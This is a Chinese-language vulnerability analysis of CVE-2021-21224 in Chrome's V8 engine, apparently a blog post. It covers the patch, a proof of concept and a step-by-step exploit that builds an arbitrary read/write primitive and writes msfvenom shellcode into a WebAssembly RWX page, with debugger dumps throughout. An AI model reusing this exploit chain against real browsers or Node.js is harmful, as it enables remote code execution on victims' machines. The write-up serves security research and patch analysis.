CVE-2021-21224
fa1lr4in Lv2

V8远程代码执行漏洞

一、漏洞信息

1、漏洞简述

  • 漏洞名称:V8远程代码执行漏洞
  • 漏洞编号:CVE-2021-21224
  • 漏洞类型:JIT优化导致可构造超长数组进行任意地址读写
  • 漏洞影响:远程代码执行
  • CVSS3.0:N/A
  • CVSS2.0:N/A
  • 漏洞危害等级:严重

2、组件和漏洞概述

V8是Google使用C++编写的开源高性能JavaScript和WebAssembly引擎。它被广泛用于用于Chrome和Node.js等场景中。它实现了ECMAScript和WebAssembly功能。V8既可以在Windows 7及以上版本,macOS 10.12+和使用x64,IA-32,ARM或MIPS处理器的Linux等操作系统上运行。也可以独立运行,还可以嵌入到任何C ++应用程序中。

3、相关链接

issue 1195777

https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop_20.html

4、解决方案

https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop_20.html

二、漏洞复现

1、环境搭建

安装89.0.4389.90的Chrome浏览器

2、复现过程

1、在Chrome快捷方式->目标后面加上”–no-sandbox”,并使用该快捷方式启动Chrome,用来创建一个关闭沙箱的Chrome进程。

2、将漏洞文件拖入浏览器中执行

image-20210428110845631

三、漏洞分析

1、基本信息

  • 漏洞文件:representation-change.cc
  • 漏洞函数:RepresentationChanger::GetWord32RepresentationFor

2、补丁对比

观察v8修复漏洞详情,可以看到,在调用 TruncateInt64ToInt32 函数之前增加了一项检查,检查了当 output_type 为 Type::Unsigned32 时,user_info的类型是否为 TypeCheckKind::kNone。

image-20210508152028808

3、漏洞分析

(1)POC分析

1
2
3
4
5
6
7
8
9
function foo(a) {                                                      
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
foo(true);

分析下poc,在循环执行foo(false)函数时,Ignation会收集类型反馈并进行投机优化,交由TurboFan处理,此时最大值始终为0,最终会得到一个长度为0的数组,经由shift处理时,长度仍然为0;

最后执行foo(true)时,x值变为0XFFFFFFFF,当执行创建数组的操作时,执行了TruncateInt64ToInt32函数直接进行截断,而未进行类型检查,导致x被当作-1进行操作,此时创造了TurboFan意料之外的数据范围1,最终执行shift函数时创造了长度为-1的数组。

(2)执行流分析

在EscapeAnalysis阶段,程序的执行流按照我们所看到的那样,通过max函数确定函数的范围为(0,4294967295),经过sub操作后范围为(-4294967295,0),最后进行sign运算,得到的范围为(-1,0),最终进行边界检查,得到范围为(0,0)

image-20210512104858664

而在SimplifiedLowering阶段,在select数据范围之后,调用了TruncateInt64ToInt32,最终在CheckedUint32Bounds得到的数据范围为Range(0,0).

image-20210512105759695

(3)动态验证

调试v8,发现执行到 RepresentationChanger::GetWord32RepresentationFor 函数处理 output_rep 为 MachineRepresentation::kWord64 时的逻辑如下,此时的use_info的类型为 kSignedSmall 类型,由于该处并未对use_info执行检查,导致opcode为 TruncateInt64ToInt32 。

image-20210511201315964

而当对漏洞代码进行修复后,则会执行CheckedUint64ToInt32或CheckedInt64ToInt32函数来对output_rep进行处理。

image-20210511202300798

修复漏洞后的执行流程如下,此时确实调用了CheckedInt64ToInt32函数对操作数进行了处理

image-20210511204837988

(4)EXP构造

公开exp的构造方式并非为传统的构造addressOf和fakeObject原语以及任意读写原语,而是通过DataView对象直接操作漏洞bufffer进行任意读写。

(1)构造超长数组

根据上面的分析,可以得到一个长度为-1的超长的数组,下面是定义的gadget代码以及得到长度为-1数组的代码,代码中LeakArrayBuffer继承于ArrayBuffer,重写的LeakArrayBuffer与ArrayBuffer不同的地方在于定义了一个变量slot,定义该变量的目的就是为了通过类型混淆达到相对地址读的作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function hex(i) {
return ("0x"+i.toString(16));
} function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
} class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size); //super()相当与父类call,其实就是实现父类原有的功能,这里的super就是生成大小为size的缓冲区。
this.slot = 0xb33f; //定义了一个变量slot,
}
} function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
//console.log(x);
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
//console.log(arr.length);
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
[corrupt_arr, rwarr, corrupt_buff] = foo(true);
console.log(corrupt_arr.length);
%DebugPrint(corrupt_arr);
%SystemBreak();

执行结果如下,从下面的执行结果可以看出corrupt_arr数组的长度为-1,并且打印出了corrupt_arr参数地址以及第0-17元素的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
root@ubuntu:~/v8/v8/out/x64.release# ./d8 test1.js --allow-natives-syntax
-1
DebugPrint: 0x11930809ca05: [JSArray]
- map: 0x1193082439c9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x11930820b959 <JSArray[0]>
- elements: 0x11930809c9f9 <FixedArray[67244566]> [HOLEY_SMI_ELEMENTS]
- length: -1
- properties: 0x11930804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x1193080446c1: [String] in ReadOnlySpace: #length: 0x11930818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x11930809c9f9 <FixedArray[67244566]> {
0: 4386
1: 0x1193082439c9 <Map(HOLEY_SMI_ELEMENTS)>
2: 0x11930804222d <FixedArray[0]>
3: 0x11930809c9f9 <FixedArray[67244566]>
4: -1
5: 0x119308042205 <Map>
6: 2
7-8: 0x11930804242d <the_hole>
9: 0x119308243a19 <Map(HOLEY_DOUBLE_ELEMENTS)>
10: 0x11930804222d <FixedArray[0]>
11: 0x11930809ca39 <FixedDoubleArray[2]>
12: 2
13: 0x1193080422c5 <Map[4]>
14: 0x119308042a95 <Map>
15: 2
16: 858993459
17: 537539379
Received signal 11 SEGV_ACCERR 1193fff7fffc

==== C stack trace ===============================

[0x55d5d79b7b57]
[0x7f2be3f1c980]
[0x55d5d717ff59]
[0x55d5d717fc77]
[0x55d5d6eece05]
[0x55d5d6eeb455]
[0x55d5d6eeeecd]
[0x55d5d6ee718d]
[0x55d5d6edd188]
[0x55d5d6edc522]
[0x55d5d72fd95e]
[0x55d5d72f177e]
[0x1193000b2213]
[end of stack trace]
段错误 (核心已转储)
root@ubuntu:~/v8/v8/out/x64.release#
(2)构建恶意DataView对象进行漏洞利用

这一步是这个漏洞利用比较精妙的部分了,首先通过查看内存获取corrupt_arr与rwarr的偏移量(调试信息中,上面的是rwarr的内存,下面的是corrupt_arr的内存,由于corrupt_arr的数组已经损坏,所以将corrupt_arr放在上面读取信息时会出错)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
root@ubuntu:~/v8/v8/out/x64.release# ./d8 test1.js --allow-natives-syntax
-1
DebugPrint: 0xda708098035: [JSArray]
- map: 0x0da708243a19 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0da70820b959 <JSArray[0]>
- elements: 0x0da708098049 <FixedDoubleArray[2]> [HOLEY_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x0da70804222d <FixedArray[0]>
- All own properties (excluding elements): {
0xda7080446c1: [String] in ReadOnlySpace: #length: 0x0da70818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0da708098049 <FixedDoubleArray[2]> {
0: 5.1
1: <the_hole>
}
...

DebugPrint: 0xda708098015: [JSArray]
- map: 0x0da7082439c9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x0da70820b959 <JSArray[0]>
- elements: 0x0da708098009 <FixedArray[67244566]> [HOLEY_SMI_ELEMENTS]
- length: -1
- properties: 0x0da70804222d <FixedArray[0]>
- All own properties (excluding elements): {
0xda7080446c1: [String] in ReadOnlySpace: #length: 0x0da70818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0da708098009 <FixedArray[67244566]> {
0: 4386
1: 0x0da7082439c9 <Map(HOLEY_SMI_ELEMENTS)>
2: 0x0da70804222d <FixedArray[0]>
3: 0x0da708098009 <FixedArray[67244566]>
4: -1
5: 0x0da708042205 <Map>
6: 2
7-8: 0x0da70804242d <the_hole>
9: 0x0da708243a19 <Map(HOLEY_DOUBLE_ELEMENTS)>
10: 0x0da70804222d <FixedArray[0]>
11: 0x0da708098049 <FixedDoubleArray[2]>
12: 2
13: 0x0da7080422c5 <Map[4]>
14: 0x0da708042a95 <Map>
15: 2
16: 858993459
17: 537539379
Received signal 11 SEGV_ACCERR 0da7fff7fffc
...

由上面的结果可以推算出(0xda708098035-0x0da708098009)/4 -> 0x2c/4 -> 11,所以corrupt_arr偏移11的位置为rwarr的map,那么corrupt_arr偏移12的位置处为rwarr的length(具体内存结构可以通过动态调试来获取)。

那么我们修改rwarr的length语句则为,之后销毁那个被损坏的数组对象

1
2
corrupt_arr[12] = 0x22444;
delete corrupt_arr;

之后我们的相对内存读写通过这个未被损坏的数组进行操作。接下来构造两个函数,实现如下

1
2
3
4
5
6
7
function setbackingStore(hi, low) {
rwarr[4] = i2f(f2i(rwarr[4]), hi);
rwarr[5] = i2f(low, f4i(rwarr[5])); //给corrupt_buff的backing_store属性赋值,backing_store:0xb7080d6fc4(8位)、rwarr[4]:0xb7080d6fc0(8位)、rwarr[5]:0xb7080d6fc8(8位)
} function leakObjLow(o) {
corrupt_buff.slot = o;
return (f2i(rwarr[9]) - 1); //因为采用了地址压缩,所以当前内存中只存取了低四字节地址。
}

leakObjLow主要是为了泄露低地址的值,由于采用了地址压缩,所以当前内存中只存取了低四字节地址。内存如下(rwarr[9]为slot的内存,rwarr[4]的高地址和rwarr[5]的低地址为corrupt_buff的backing_store属性值,通过恶意DataView对象对backing_store进行操作,即可完成任意地址读写)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pwndbg> telescope 0x0766080e8099-1 					rwarr_addr
00:0000│ 0x766080e8098 ◂— 0x408042a95
01:0008│ 0x766080e80a0 ◂— 0x4014666666666666 rwarr[0]
02:0010│ 0x766080e80a8 ◂— 0xfff7fffffff7ffff
03:0018│ 0x766080e80b0 ◂— 0x804222d08247231
04:0020│ 0x766080e80b8 ◂— 0x10000804222d
05:0028│ 0x766080e80c0 ◂— 0xec3bfdf000000000 rwarr[4]
06:0030│ 0x766080e80c8 ◂— 0xec3bfdc0000055fd rwarr[5]
07:0038│ 0x766080e80d0 ◂— 0x2000055fd

pwndbg> telescope 0x766080e80b1-1 corrupt_buff_addr
00:0000│ 0x766080e80b0 ◂— 0x804222d08247231
01:0008│ 0x766080e80b8 ◂— 0x10000804222d
02:0010│ 0x766080e80c0 ◂— 0xec3bfdf000000000
03:0018│ 0x766080e80c8 ◂— 0xec3bfdc0000055fd
04:0020│ 0x766080e80d0 ◂— 0x2000055fd
05:0028│ 0x766080e80d8 ◂— 0x0
06:0030│ 0x766080e80e0 ◂— 0x0
07:0038│ 0x766080e80e8 ◂— 0x80422050001667e rwarr[9]
08:0040│ 0x766080e80f0 ◂— 0x80e806500000006


pwndbg> job 0x766080e80b1
18-19: [weak] 0x0766fff7fffd 0x766080e80b1: [JSArrayBuffer]
- map: 0x076608247231 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x07660818cb45 <LeakArrayBuffer map = 0x76608247209>
- elements: 0x07660804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x55fdec3bfdf0
- byte_length: 4096
- detachable
- properties: 0x07660804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x76608212b89: [String] in OldSpace: #slot: 45887 (const data field 0), location: in-object
}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}

不过到目前为止我们只获得了低四位的地址,并不能进行绝对地址写,我们需要获得当前空间的高四位基址,可以通过以下的代码进行实现,最终得到的this.base为基址。

1
2
3
4
5
6
7
8
9
10
11
12
13
//这里采用了地址压缩,定位基址的采用了通过rwarr访问baseAddr的方式
let corrupt_view = new DataView(corrupt_buff); //通过corrupt_view操作corrupt_buff的backing_store属性进行任意地址读写。
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff); //corrupt_buffer_ptr: 0x103082f18a1 ,corrupt_buffer_ptr_low: 0x82f18a0
let idx0Addr = corrupt_buffer_ptr_low - 0x10; //rwarr[0]的位置: 0x82f1890
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000; //获得基址: 0x8300000 0x82f0000-0x30000+0x40000
let delta = baseAddr + 0x1c - idx0Addr; //0xe78c ,rwarr[0]距离目标的实际大小
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = f2i(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8); //0x1cf1
this.base = f4i(rwarr[baseIdx]); //0x103
}

最终可以通过setbackingStore操作地址进行任意地址读写,泄露出rwx地址并写入shellcode,最终执行shellcode

1
let wasmInsAddr = leakObjLow(wasmInstance);    setbackingStore(wasmInsAddr, this.base);                           let rwx_page_addr = corrupt_view.getFloat64(0x68, true);      //获得rwx_page_addr,在偏移0x68的位置上    setbackingStore(f2i(rwx_page_addr), f4i(rwx_page_addr));    for (let i = 0; i < shellcode.length; i++) {        corrupt_view.setUint8(i, shellcode[i]);    }    f();

使用的shellcode如下

1
//msfvenom -p linux/x64/exec CMD="echo pwn" -f num exitfunc=thread -a x64    let shellcode = [0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x09, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x70, 0x77, 0x6e, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05];

最终复现结果如下

image-20210510163239760

3、漏洞修复

issue 1195777

https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop_20.html

四、总结与思考

该漏洞为CVE-2021-21220的exp公开不久后公布的,是2021HW中的两枚重磅炸弹,虽然都不可以进行沙箱逃逸,但是仍然可以在一些不开启沙箱的情况下进行使用。该公开的exp的利用手法比较巧妙,通过corrupt_arr修改rwarr数组长度,rwarr具有八字节读写能力,之后通过rwarr相对地址读写可以操作corrupt_buff进而造成任意地址读写

五、参考

[1]. http://noahblog.360.cn/chromium_v8_remote_code_execution_vulnerability_analysis/

[2]. https://github.com/avboy1337/1195777-chrome0day

 Comments